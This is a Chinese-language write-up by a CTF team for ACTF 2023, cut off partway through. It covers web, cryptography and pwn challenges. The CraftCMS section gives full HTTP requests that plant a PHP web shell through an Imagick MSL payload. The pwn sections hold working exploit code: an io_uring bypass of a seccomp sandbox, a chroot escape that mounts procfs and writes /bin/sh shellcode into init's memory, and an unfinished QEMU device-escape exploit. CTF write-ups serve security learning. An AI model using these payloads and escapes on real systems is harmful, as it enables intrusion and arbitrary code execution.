本次 ACTF 2023,我们星盟ctf战队排名第13。
排名 | 队伍 | 总分 |
---|---|---|
11 | Ph0t1n1a | 5777.56 |
12 | Arr3stY0u | 5713.39 |
13 | 星盟ctf战队 | 5490 |
14 | Redbud | 5312.05 |
15 | Volcano | 5040 |
16 | pkucc | 4980.49 |
17 | Spirit+ | 4738 |
18 | b3f0re | 4389 |
19 | V&N | 4355 |
20 | Nepnep | 4331.31 |
Web
MyGO’s Live!!!!!
不知道这题咋回事,直接捡到flag了,可能是前面的打出来了,在报错里面就有flag
http://124.70.33.170:24000/checker?url=127.0.0.1
访问发现flag
# Nmap 7.93 scan initiated Sun Oct 29 02:47:20 2023 as: nmap -p 80 -iL /flag-07349212197f72ae -oN - a 127.0.0.1 Failed to resolve "ACTF{s1nc3_I_c4N_d0_anyThin9_1f_I_c4n}".
craftcms
先用文件写入去写一个shell,然后再用文件包含去执行就能够拿到flag
文件写入poc
POST /index.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: */*
Host: 61.147.171.105:62043
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------974726398307238472515955
Content-Length: 843
----------------------------974726398307238472515955
Content-Disposition: form-data; name="action"
conditions/render
----------------------------974726398307238472515955
Content-Disposition: form-data; name="configObject"
craft\elements\conditions\ElementCondition
----------------------------974726398307238472515955
Content-Disposition: form-data; name="config"
{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:/tmp/php*"}}}
----------------------------974726398307238472515955
Content-Disposition: form-data; name="image"; filename="poc.msl"
Content-Type: text/plain
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php system($_REQUEST['cmd']); ?>;"/>
<write filename="info:/tmp/shell">
</image>
----------------------------974726398307238472515955--
文件包含poc
POST /?cmd=/readflag HTTP/1.1
Host: 61.147.171.105:62043
Content-Length: 199
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: 123
Origin: http://61.147.171.105:62043
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://61.147.171.105:62043/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: CRAFT_CSRF_TOKEN=8ac93d9be5da0ed90bb8783934dfc6d06e3d20a549c0255d71356d14e4fe706ca%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22F-R5IoH982XGSKlbvKVam0ZS6q6ZOZmmRBkzw1yg%22%3B%7D
Connection: close
action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as%20":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/tmp/shell"}]}}
Crypto
MDH
from hashlib import sha256
from Crypto.Util.number import *
with open('output.txt', 'r') as f:
data = f.readlines()
ct = eval(data[0])
pk_alice = eval(data[1])
pk_bob = eval(data[2])
r = 128
c = 96
p = 308955606868885551120230861462612873078105583047156930179459717798715109629
Fp = GF(p)
pk_alice = matrix(Fp, pk_alice)
pk_bob = matrix(Fp, pk_bob)
shared = (pk_alice.T*pk_bob).trace()
flag = int(int(sha256(str(int(shared)).encode()).hexdigest(), 16) ^^ ct)
flag = long_to_bytes(flag).decode()
print(flag) # ACTF{do_you_know_f0rm2l1n_1s_4w3s0m3!}
EasyRSA
有题可知:
$$
\begin{aligned}
ed -1 &= k_1\phi(N_1) \
ed -1 &= k_2\phi(N_2) \
e d -1 &= k_3\phi(N_3)
\end{aligned}
$$
于是有:
$$
\begin{aligned}
ed -k_1N_1 &= 1+k_1s_1 \
ed -k_2N_2 &= 1+k_2s_2 \
ed -k_3N_3 &= 1+k_3s_3
\end{aligned}
$$
构造格:
$$
\begin{bmatrix}
1 & e &e&e\
0 & -N_1 &0&0\
0 & 0 &-N_2&0\
0 & 0 &0&-N_3\
\end{bmatrix}
$$
调至平衡后,LLL可得d,即解
###Sage###
from gmpy2 import *
from Crypto.Util.number import *
c = 63442255298812942222810837512019302954917822996915527697525497640413662503768308023517128481053593562877494934841788054865410798751447333551319775025362132176942795107214528962480350398519459474033659025815248579631003928932688495682277210240277909527931445899728273182691941548330126199931886748296031014210795428593631253184315074234352536885430181103986084755140024577780815130067722355861473639612699372152970688687877075365330095265612016350599320999156644
e_ = 272785315258275494478303901715994595013215169713087273945370833673873860340153367010424559026764907254821416435761617347240970711252213646287464416524071944646705551816941437389777294159359383356817408302841561284559712640940354294840597133394851851877857751302209309529938795265777557840238332937938235024502686737802184255165075195042860413556866222562167425361146312096189555572705076252573222261842045286782816083933952875990572937346408235562417656218440227
n1 = 327163771871802208683424470007561712270872666244394076667663345333853591836596054597471607916850284565474732679392694515656845653581599800514388800663813830528483334021178531162556250468743461443904645773493383915711571062775922446922917130005772040139744330987272549252540089872170217864935146429898458644025927741607569303966038195226388964722300472005107075179204987774627759625183739199425329481632596633992804636690274844290983438078815836605603147141262181
n2 = 442893163857502334109676162774199722362644200933618691728267162172376730137502879609506615568680508257973678725536472848428042122350184530077765734033425406055810373669798840851851090476687785235612051747082232947418290952863499263547598032467577778461061567081620676910480684540883879257518083587862219344609851852177109722186714811329766477552794034774928983660538381764930765795290189612024799300768559485810526074992569676241537503405494203262336327709010421
n3 = 473173031410877037287927970398347001343136400938581274026578368211539730987889738033351265663756061524526288423355193643110804217683860550767181983527932872361546531994961481442866335447011683462904976896894011884907968495626837219900141842587071512040734664898328709989285205714628355052565784162841441867556282849760230635164284802614010844226671736675222842060257156860013384955769045790763119616939897544697150710631300004180868397245728064351907334273953201
assert n1<n2<n3
M=iroot(int(n3),int(2))[0]
a=[0]*4
a[0]=[M,e_,e_,e_]
a[1]=[0,-n1,0,0]
a[2]=[0,0,-n2,0]
a[3]=[0,0,0,-n3]
Mat = matrix(ZZ,a)
Mat_LLL=Mat.LLL()
# Mat_LLL
assert abs(Mat_LLL[0][0])%M == 0
d = abs(Mat_LLL[0][0])//M
m = int(pow(c,d,n3))
flag = long_to_bytes(m).decode()
print(flag) # ACTF{5FFC427B-F14F-DCA0-C425-675B149890C2}
MidRSA
改写等式,爆破d_低16位,构建格求解。
对于
$$
\begin{aligned}
e(d_h\times2^{16}+d_l) -1 &= k_1\phi(N_1) \
e(d_h\times2^{16}+d_l) -1 &= k_2\phi(N_2) \
e(d_h\times2^{16}+d_l) -1 &= k_3\phi(N_3)
\end{aligned}
$$
有
$$
\begin{aligned}
e2^{16}d_h+ed_l -k_1N_1 &= 1+k_1s_1 \
e2^{16}d_h+ed_l -k_2N_2 &= 1+k_2s_2 \
e2^{16}d_h+ed_l -k_3N_3 &= 1+k_3s_3
\end{aligned}
$$
构造格:
$$
\begin{bmatrix}
1 & e2^{16} &e2^{16}&e2^{16}&0\
0 & -N_1 &0&0&0\
0 & 0 &-N_2&0&0\
0 & 0 &0&-N_3&0\
0 & ed_l&ed_l&ed_l&1\
\end{bmatrix}
$$
调至平衡后,LLL可得d高位,拼接低位后,即恢复d,得解
###Sage###
from gmpy2 import *
from tqdm import tqdm
from Crypto.Util.number import *
c = 598823083137858565473505718525815255620672892612784824187302545127574115000325539999824374357957135208478070797113625659118825530731575573239221853507638809719397849963861367352055486212696958923800593172417262351719477530809870735637329898331854130533160020420263724619225174940214193740379571953951059401685115164634005411478583529751890781498407518739069969017597521632392997743956791839564573371955246955738575593780508817401390102856295102225132502636316844
e_ = 334726528702628887205076146544909357751287869200972341824248480332256143541098971600873722567713812425364296038771650383962046800505086167635487091757206238206029361844181642521606953049529231154613145553220809927001722518303114599682529196697410089598230645579658906203453435640824934159645602447676974027474924465177723434855318446073578465621382859962701578350462059764095163424218813852195709023435581237538699769359084386399099644884006684995755938605201771
n3 = 621786427956510577894657745225233425730501124908354697121702414978035232119311662357181409283130180887720760732555757426221953950475736078765267856308595870951635246720750862259255389006679454647170476427262240270915881126875224574474706572728931213060252787326765271752969318854360970801540289807965575654629288558728966771231501959974533484678236051025940684114262451777094234017210230731492336480895879764397821363102224085859281971513276968559080593778873231
n2 = 335133378611627373902246132362791381335635839627660359611198202073307340179794138179041524058800936207811546752188713855950891460382258433727589232119735602364790267515558352318957355100518427499530387075144776790492766973547088838586041648900788325902589777445641895775357091753360428198189998860317775077739054298868885308909495601041757108114540069950359802851809227248145281594107487276003206931533768902437356652676341735882783415106786497390475670647453821
n1 = 220290953009399899705676642623181513318918775662713704923101352853965768389363281894663344270979715555659079125651553079702318700200824118622766698792556506368153467944348604006011828780474050012010677204862020009069971864222175380878120025727369117819196954091417740367068284457817961773989542151049465711430065838517386380261817772422927774945414543880659243592749932727798690742051285364898081188510009069286094647222933710799481899960520270189522155672272451
n1,n2,n3 = sorted([n1,n2,n3])
assert n1<n2<n3
def solve():
for dl in tqdm(range(2^16)):
a=[0]*5
a[0]=[2^(16+767),e_*2^16,e_*2^16,e_*2^16,0]
a[1]=[0,-n1,0,0,0]
a[2]=[0,0,-n2,0,0]
a[3]=[0,0,0,-n3,0]
a[4]=[0,e_*dl,e_*dl,e_*dl,2^(576+767)]
Mat = matrix(ZZ,a)
Mat_LLL=Mat.LLL()
for line in Mat_LLL:
if (abs(line[-1]) == 2^(576+767)):
dh = abs(line[0])//2^(16+767)
d = int((dh<<16)+dl)
m = int(pow(c,d,n1))
flag1 = long_to_bytes(m)
m = int(pow(c,d,n2))
flag2 = long_to_bytes(m)
m = int(pow(c,d,n3))
flag3 = long_to_bytes(m)
flags = [flag1, flag2,flag3]
for f in flags:
if b'ACTF{' in f:
print(f)
return
solve() # ACTF{D16C46D9-77A2-2D96-CA51-4538EFB6AFF7}
Pwn
master of orw
题目直接给了任意代码执行,但是 sandbox
禁用了常用的 orw
(open|read|write) 会用到的系统调用。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
void *buf; // [rsp+8h] [rbp-8h]
sub_1209();
buf = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
puts("Input your code");
read(0, buf, 0x400uLL);
puts("Wish you a good journey");
sandbox();
((void (*)(void))buf)();
return 0LL;
}
禁用规则如下
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x19 0xc000003e if (A != ARCH_X86_64) goto 0027
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x16 0xffffffff if (A != 0xffffffff) goto 0027
0005: 0x15 0x15 0x00 0x00000000 if (A == read) goto 0027
0006: 0x15 0x14 0x00 0x00000001 if (A == write) goto 0027
0007: 0x15 0x13 0x00 0x00000002 if (A == open) goto 0027
0008: 0x15 0x12 0x00 0x00000011 if (A == pread64) goto 0027
0009: 0x15 0x11 0x00 0x00000012 if (A == pwrite64) goto 0027
0010: 0x15 0x10 0x00 0x00000013 if (A == readv) goto 0027
0011: 0x15 0x0f 0x00 0x00000014 if (A == writev) goto 0027
0012: 0x15 0x0e 0x00 0x00000028 if (A == sendfile) goto 0027
0013: 0x15 0x0d 0x00 0x0000002c if (A == sendto) goto 0027
0014: 0x15 0x0c 0x00 0x0000002e if (A == sendmsg) goto 0027
0015: 0x15 0x0b 0x00 0x0000003b if (A == execve) goto 0027
0016: 0x15 0x0a 0x00 0x00000101 if (A == openat) goto 0027
0017: 0x15 0x09 0x00 0x00000127 if (A == preadv) goto 0027
0018: 0x15 0x08 0x00 0x00000128 if (A == pwritev) goto 0027
0019: 0x15 0x07 0x00 0x0000012f if (A == name_to_handle_at) goto 0027
0020: 0x15 0x06 0x00 0x00000130 if (A == open_by_handle_at) goto 0027
0021: 0x15 0x05 0x00 0x00000142 if (A == execveat) goto 0027
0022: 0x15 0x04 0x00 0x00000147 if (A == preadv2) goto 0027
0023: 0x15 0x03 0x00 0x00000148 if (A == pwritev2) goto 0027
0024: 0x15 0x02 0x00 0x000001ac if (A == 0x1ac) goto 0027
0025: 0x15 0x01 0x00 0x000001b5 if (A == 0x1b5) goto 0027
0026: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0027: 0x06 0x00 0x00 0x00000000 return KILL
刚开始尝试看man文档来寻找可以代替 orw
的系统调用,没有发现什么可以替代的系统调用。
随后计划直接看内核源码来寻找 orw
的替代逻辑。那么这就需要确定服务器内核的大致版本。
首先下载了 linux-5.15.137
版本的内核,测试其最高的 SYSCALL 是否存在(若不存在,则表示版本低于5.15.137),其最高的 SYSCALL 是 process_mrelease
。
内核的 syscall table 在 /linux-5.15.137/arch/x86/entry/syscalls/syscall_64.tbl
文件中。
448 common process_mrelease sys_process_mrelease
远程测试可得 process_mrelease
存在,因此版本大于 5.15.137
。
接着替换为 linux-6.1.60
,其最高的 SYSCALL 是 set_mempolicy_home_node
。
450 common set_mempolicy_home_node sys_set_mempolicy_home_node
远程测试可得 set_mempolicy_home_node
不存在,因此版本小于 6.1.60
。
所以后面以 linux-5.15.137
为参考。
首先定位到 SYS_openat
,观察该系统调用的底层实现。
// /linux-5.15.137/fs/open.c:1238
SYSCALL_DEFINE4(openat, int, dfd, const char __user *, filename, int, flags,
umode_t, mode)
{
if (force_o_largefile())
flags |= O_LARGEFILE;
return do_sys_open(dfd, filename, flags, mode);
}
其通过 do_sys_open
函数来实现打开文件的逻辑,随后在源码中寻找 do_sys_open
相关引用,没有发现方便利用的逻辑。
继续深入 do_sys_open
函数,其深层是 do_sys_openat2
函数,从源码中判断,其主要逻辑是 do_filp_open
函数。
// /linux-5.15.137/fs/open.c:1224
long do_sys_open(int dfd, const char __user *filename, int flags, umode_t mode)
{
struct open_how how = build_open_how(flags, mode);
return do_sys_openat2(dfd, filename, &how);
}
// /linux-5.15.137/fs/open.c:1195
static long do_sys_openat2(int dfd, const char __user *filename,
struct open_how *how)
{
struct open_flags op;
int fd = build_open_flags(how, &op);
struct filename *tmp;
if (fd)
return fd;
tmp = getname(filename);
if (IS_ERR(tmp))
return PTR_ERR(tmp);
fd = get_unused_fd_flags(how->flags);
if (fd >= 0) {
struct file *f = do_filp_open(dfd, tmp, &op);
if (IS_ERR(f)) {
put_unused_fd(fd);
fd = PTR_ERR(f);
} else {
fsnotify_open(f);
fd_install(fd, f);
}
}
putname(tmp);
return fd;
}
寻找 do_filp_open
函数的相关引用,在 io_uring.c
文件中找到其调用函数 io_openat2
。
// /linux-5.15.137/io_uring/io_uring.c:4367
static int io_openat2(struct io_kiocb *req, unsigned int issue_flags)
{
...
file = do_filp_open(req->open.dfd, req->open.filename, &op);
...
}
通过函数 io_openat2
寻找引用链,可以得到这样的调用链 : io_openat2 <- io_issue_sqe <- io_wq_submit_work <- io_init_wq_offload <- io_uring_alloc_task_context <- io_sq_offload_create <- io_uring_create <- io_uring_setup <- SYSCALL_DEFINE2(io_uring_setup, u32, entries, struct io_uring_params __user *, params)
。
因此猜测该 open 实现与 io_uring
有关,通过查找其 man 文档 io_uring_enter.2 可以确定这一点。其包含了 IORING_OP_OPENAT
,IORING_OP_READ
,IORING_OP_WRITE
操作,恰好可以进行 orw
。
因此利用 io_uring
的特性进行 orw
即可。
下面是实现代码:
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <liburing.h>
#include <unistd.h>
#include <syscall.h>
#include <sys/prctl.h>
#define QUEUE_DEPTH 1
int main() {
struct io_uring ring = {0};
struct io_uring_sqe *sqe;
struct io_uring_cqe *cqe;
int fd, ret;
char buffer[4096] = {0};
// 初始化 io_uring
if (io_uring_queue_init(QUEUE_DEPTH, &ring, 0) < 0) {
perror("io_uring_queue_init");
return 1;
}
// 准备打开操作
sqe = io_uring_get_sqe(&ring);
if (!sqe) {
fprintf(stderr, "Failed to get SQE\n");
return 1;
}
int dirfd = AT_FDCWD; // 当前工作目录的文件描述符
const char *pathname = "./flag";
int flags = O_RDONLY;
io_uring_prep_openat(sqe, dirfd, pathname, flags, 0);
io_uring_sqe_set_data(sqe, NULL);
// 提交请求
ret = io_uring_submit(&ring);
if (ret < 0) {
perror("io_uring_submit");
return 1;
}
// 等待完成
ret = io_uring_wait_cqe(&ring, &cqe);
if (ret < 0) {
perror("io_uring_wait_cqe");
return 1;
}
// 处理完成的请求
if (cqe->res < 0) {
fprintf(stderr, "Open error: %d\n", cqe->res);
return 1;
}
fd = cqe->res; // 获取打开的文件描述符
// 准备读取操作
sqe = io_uring_get_sqe(&ring);
if (!sqe) {
fprintf(stderr, "Failed to get SQE\n");
return 1;
}
io_uring_prep_read(sqe, fd, buffer, sizeof(buffer), 0);
io_uring_sqe_set_data(sqe, NULL);
// 提交请求
ret = io_uring_submit(&ring);
if (ret < 0) {
perror("io_uring_submit");
return 1;
}
// 等待完成
ret = io_uring_wait_cqe(&ring, &cqe);
if (ret < 0) {
perror("io_uring_wait_cqe");
return 1;
}
// 处理完成的请求
if (cqe->res < 0) {
fprintf(stderr, "Read error: %d\n", cqe->res);
return 1;
}
// 准备写操作
sqe = io_uring_get_sqe(&ring);
if (!sqe) {
fprintf(stderr, "Failed to get SQE\n");
return 1;
}
io_uring_prep_write(sqe, 1, buffer, strlen(buffer), 0);
io_uring_sqe_set_data(sqe, NULL);
// 提交请求
ret = io_uring_submit(&ring);
if (ret < 0) {
perror("io_uring_submit");
return 1;
}
// 等待完成
ret = io_uring_wait_cqe(&ring, &cqe);
if (ret < 0) {
perror("io_uring_wait_cqe");
return 1;
}
// 处理完成的请求
if (cqe->res < 0) {
fprintf(stderr, "Read error: %d\n", cqe->res);
return 1;
}
// printf("Read %d bytes: %s\n", cqe->res, buffer);
// 清理并关闭文件
io_uring_cqe_seen(&ring, cqe);
io_uring_queue_exit(&ring);
close(fd);
sleep(1);
return 0;
}
代码是用 liburing
库实现的,需要在本地编译并上传到服务器执行。由于程序的沙箱规则并没有禁用 recvfrom
系统调用,因此可以使用 recvfrom
来进行上传。
由于每个数据包的大小有限,因此需要用汇编写一个 recvn
函数来获得稳定的上传功能,recvn
代码如下:
mov rsi, 0x400000
mov r14, 32768
again:
mov edi, 0
mov rdx, r14
mov r10d, 0
xor r8d, r8d
xor r9d, r9d
mov eax, 45 ;// recvfrom
syscall
add rsi, rax
sub r14, rax
test r14, r14
jnz again
Young Man esCApe
root权限的chroot沙箱加seccomp沙箱逃逸。
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x44 0xc000003e if (A != ARCH_X86_64) goto 0070
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x42 0x00 0x40000000 if (A >= 0x40000000) goto 0070
0004: 0x15 0x41 0x00 0x000000a1 if (A == chroot) goto 0070
0005: 0x15 0x40 0x00 0x000000a5 if (A == mount) goto 0070
0006: 0x15 0x3f 0x00 0x00000110 if (A == unshare) goto 0070
0007: 0x15 0x3e 0x00 0x000000a9 if (A == reboot) goto 0070
0008: 0x15 0x3d 0x00 0x00000065 if (A == ptrace) goto 0070
0009: 0x15 0x3c 0x00 0x00000136 if (A == process_vm_readv) goto 0070
0010: 0x15 0x3b 0x00 0x00000137 if (A == process_vm_writev) goto 0070
0011: 0x15 0x3a 0x00 0x00000130 if (A == open_by_handle_at) goto 0070
0012: 0x15 0x39 0x00 0x0000009b if (A == pivot_root) goto 0070
0013: 0x15 0x38 0x00 0x000000a3 if (A == acct) goto 0070
0014: 0x15 0x37 0x00 0x000000f8 if (A == add_key) goto 0070
0015: 0x15 0x36 0x00 0x00000141 if (A == bpf) goto 0070
0016: 0x15 0x35 0x00 0x00000131 if (A == clock_adjtime) goto 0070
0017: 0x15 0x34 0x00 0x000000e3 if (A == clock_settime) goto 0070
0018: 0x15 0x33 0x00 0x00000038 if (A == clone) goto 0070
0019: 0x15 0x32 0x00 0x000000ae if (A == create_module) goto 0070
0020: 0x15 0x31 0x00 0x000000b0 if (A == delete_module) goto 0070
0021: 0x15 0x30 0x00 0x00000139 if (A == finit_module) goto 0070
0022: 0x15 0x2f 0x00 0x000000b1 if (A == get_kernel_syms) goto 0070
0023: 0x15 0x2e 0x00 0x000000ef if (A == get_mempolicy) goto 0070
0024: 0x15 0x2d 0x00 0x000000af if (A == init_module) goto 0070
0025: 0x15 0x2c 0x00 0x000000ad if (A == ioperm) goto 0070
0026: 0x15 0x2b 0x00 0x000000ac if (A == iopl) goto 0070
0027: 0x15 0x2a 0x00 0x00000138 if (A == kcmp) goto 0070
0028: 0x15 0x29 0x00 0x00000140 if (A == kexec_file_load) goto 0070
0029: 0x15 0x28 0x00 0x000000f6 if (A == kexec_load) goto 0070
0030: 0x15 0x27 0x00 0x000000fa if (A == keyctl) goto 0070
0031: 0x15 0x26 0x00 0x000000d4 if (A == lookup_dcookie) goto 0070
0032: 0x15 0x25 0x00 0x000000ed if (A == mbind) goto 0070
0033: 0x15 0x24 0x00 0x00000117 if (A == move_pages) goto 0070
0034: 0x15 0x23 0x00 0x0000012f if (A == name_to_handle_at) goto 0070
0035: 0x15 0x22 0x00 0x000000b4 if (A == nfsservctl) goto 0070
0036: 0x15 0x21 0x00 0x0000012a if (A == perf_event_open) goto 0070
0037: 0x15 0x20 0x00 0x00000087 if (A == personality) goto 0070
0038: 0x15 0x1f 0x00 0x000000b2 if (A == query_module) goto 0070
0039: 0x15 0x1e 0x00 0x000000b3 if (A == quotactl) goto 0070
0040: 0x15 0x1d 0x00 0x000000f9 if (A == request_key) goto 0070
0041: 0x15 0x1c 0x00 0x000000ee if (A == set_mempolicy) goto 0070
0042: 0x15 0x1b 0x00 0x00000134 if (A == setns) goto 0070
0043: 0x15 0x1a 0x00 0x000000a4 if (A == settimeofday) goto 0070
0044: 0x15 0x19 0x00 0x000000a7 if (A == swapon) goto 0070
0045: 0x15 0x18 0x00 0x000000a8 if (A == swapoff) goto 0070
0046: 0x15 0x17 0x00 0x0000008b if (A == sysfs) goto 0070
0047: 0x15 0x16 0x00 0x0000009c if (A == _sysctl) goto 0070
0048: 0x15 0x15 0x00 0x000000a6 if (A == umount2) goto 0070
0049: 0x15 0x14 0x00 0x00000086 if (A == uselib) goto 0070
0050: 0x15 0x13 0x00 0x00000143 if (A == userfaultfd) goto 0070
0051: 0x15 0x12 0x00 0x00000088 if (A == ustat) goto 0070
0052: 0x15 0x11 0x00 0x000001b3 if (A == 0x1b3) goto 0070
0053: 0x15 0x10 0x00 0x000001b2 if (A == 0x1b2) goto 0070
0054: 0x15 0x0f 0x00 0x000001b6 if (A == 0x1b6) goto 0070
0055: 0x15 0x0e 0x00 0x000001a8 if (A == 0x1a8) goto 0070
0056: 0x15 0x0d 0x00 0x0000013d if (A == seccomp) goto 0070
0057: 0x15 0x0c 0x00 0x0000009d if (A == prctl) goto 0070
0058: 0x15 0x0b 0x00 0x0000009e if (A == arch_prctl) goto 0070
0059: 0x15 0x0a 0x00 0x000000ae if (A == create_module) goto 0070
0060: 0x15 0x09 0x00 0x000000af if (A == init_module) goto 0070
0061: 0x15 0x08 0x00 0x000000b0 if (A == delete_module) goto 0070
0062: 0x15 0x07 0x00 0x000000b1 if (A == get_kernel_syms) goto 0070
0063: 0x15 0x06 0x00 0x000000b2 if (A == query_module) goto 0070
0064: 0x15 0x05 0x00 0x000000d5 if (A == epoll_create) goto 0070
0065: 0x15 0x04 0x00 0x00000123 if (A == epoll_create1) goto 0070
0066: 0x15 0x03 0x00 0x000001a9 if (A == 0x1a9) goto 0070
0067: 0x15 0x02 0x00 0x000001aa if (A == 0x1aa) goto 0070
0068: 0x15 0x01 0x00 0x000001ab if (A == 0x1ab) goto 0070
0069: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0070: 0x06 0x00 0x00 0x00000000 return KILL
题目给的内核是 linux-6.1.5
,下载对应的源码,在 /linux-6.1.5/arch/x86/entry/syscalls/syscall_64.tbl
文件中寻找可用的系统调用。
可以找到 fsmount
这个系统调用,从名字可以看出这是一个跟挂载操作相关的系统调用,查阅相关文档,然后尝试使用其对 procfs
进行挂载,测试可以挂载成功,随后就可以利用procfs
劫持 init
进程。
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stddef.h>
#include <fcntl.h>
#include <dirent.h>
#include <syscall.h>
#include <sys/syscall.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/mount.h>
int main()
{
int sfd, mfd, fd;
char buf[0x100];
size_t image_addr = 0;
unsigned char shellcode[] = {
0x48, 0x8d, 0x3d, 0x17, 0x00, 0x00, 0x00, 0x48, 0x89, 0x3c, 0x24, 0x48,
0xc7, 0x44, 0x24, 0x08, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0xe6, 0xb8,
0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73,
0x68, 0x00
};
// Mount procfs
sfd = syscall(SYS_fsopen, "proc", FSOPEN_CLOEXEC);
syscall(SYS_fsconfig, sfd, FSCONFIG_SET_STRING, "source", "proc", 0);
syscall(SYS_fsconfig, sfd, FSCONFIG_CMD_CREATE, NULL, NULL, 0);
mfd = syscall(SYS_fsmount, sfd, 0, 0, 0, 0);
mkdir("/proc", 755);
syscall(SYS_move_mount, mfd, "", AT_FDCWD, "/proc", MOVE_MOUNT_F_EMPTY_PATH);
// Leak address
fd = open("/proc/1/maps", O_RDONLY);
read(fd, buf, sizeof(buf));
image_addr = 0;
for(int i = 0; buf[i] != '-'; i++)
{
if(buf[i] >= '0' && buf[i] <= '9')
{
image_addr = image_addr * 0x10 + (buf[i] - '0');
}
if(buf[i] >= 'a' && buf[i] <= 'f')
{
image_addr = image_addr * 0x10 + (buf[i] - 'a' + 0xa);
}
}
printf("Image addr: 0x%lx\n", image_addr);
// Hijack init process
fd = open("/proc/1/mem", O_RDWR);
lseek(fd, image_addr + 0x3c28e, SEEK_SET);
write(fd, shellcode, sizeof(shellcode));
return 0;
}
qemu playground - 2
等re爹把函数check过了之后,mmio_write中存在越界写,可以劫持g_malloc返回值的低四字节,pmio任意地址读写。
#include <unistd.h>
#include <sys/io.h>
#include <memory.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#define DEVICE_PATH "/sys/devices/pci0000:00/0000:00:04.0/resource0"
#define page_map_file "/proc/self/pagemap"
#define PFN_MASK ((((uint64_t)1)<<55)-1)
#define PFN_PRESENT_FLAG (((uint64_t)1)<<63)
unsigned char* mmio_mem;
size_t pmio_base=0xc040;
void die(char*s)
{
puts(s);
exit(-1);
}
size_t mem_addr_vir2phy(unsigned long vir)
{
int fd;
int page_size=getpagesize();
unsigned long vir_page_idx = vir/page_size;
unsigned long pfn_item_offset = vir_page_idx*sizeof(uint64_t);
uint64_t pfn_item;
fd = open(page_map_file, O_RDONLY);
if (fd<0)
{
printf("open %s failed", page_map_file);
return -1;
}
if ((off_t)-1 == lseek(fd, pfn_item_offset, SEEK_SET))
{
printf("lseek %s failed", page_map_file);
return -1;
}
if (sizeof(uint64_t) != read(fd, &pfn_item, sizeof(uint64_t)))
{
printf("read %s failed", page_map_file);
return -1;
}
if (0==(pfn_item & PFN_PRESENT_FLAG))
{
printf("page is not present");
return -1;
}
return (pfn_item & PFN_MASK)*page_size + vir % page_size;
}
void mmio_write(size_t addr, size_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
*((uint32_t*)(mmio_mem + addr+4)) = value>>32;
}
void mmio_write_32(size_t addr, size_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}
uint32_t pmio_write(uint32_t addr, uint32_t value)
{
outb(value,addr+pmio_base);
}
size_t pmio_read(uint32_t addr)
{
return (uint32_t)inb(addr+pmio_base);
}
void open_pmio()
{
// Open and map I/O memory for the device
if (iopl(3) !=0 )
die("I/O permission is not enough");
}
void open_mmio()
{
// Open and map I/O memory for the device
int mmio_fd = open(DEVICE_PATH, O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
}
void* mmap_new()
{
return mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
}
unsigned char shellcode[] = {0x48,0xb8,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x50,0x48,0xb8,0x2e,0x63,0x68,0x6f,0x2e,0x72,0x69,0x1,0x48,0x31,0x4,0x24,0x48,0x89,0xe7,0x48,0xb8,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x50,0x48,0xb8,0x68,0x6f,0x2e,0x63,0x60,0x72,0x69,0x1,0x48,0x31,0x4,0x24,0x48,0xb8,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x50,0x48,0xb8,0x72,0x69,0x1,0x2c,0x62,0x1,0x2e,0x63,0x48,0x31,0x4,0x24,0x31,0xf6,0x56,0x6a,0xe,0x5e,0x48,0x1,0xe6,0x56,0x6a,0x13,0x5e,0x48,0x1,0xe6,0x56,0x6a,0x18,0x5e,0x48,0x1,0xe6,0x56,0x48,0x89,0xe6,0x31,0xd2,0x6a,0x3b,0x58,0xf,0x5};
void* maps[100] = {0};
void bypass_checkflag1(char *flag)
{
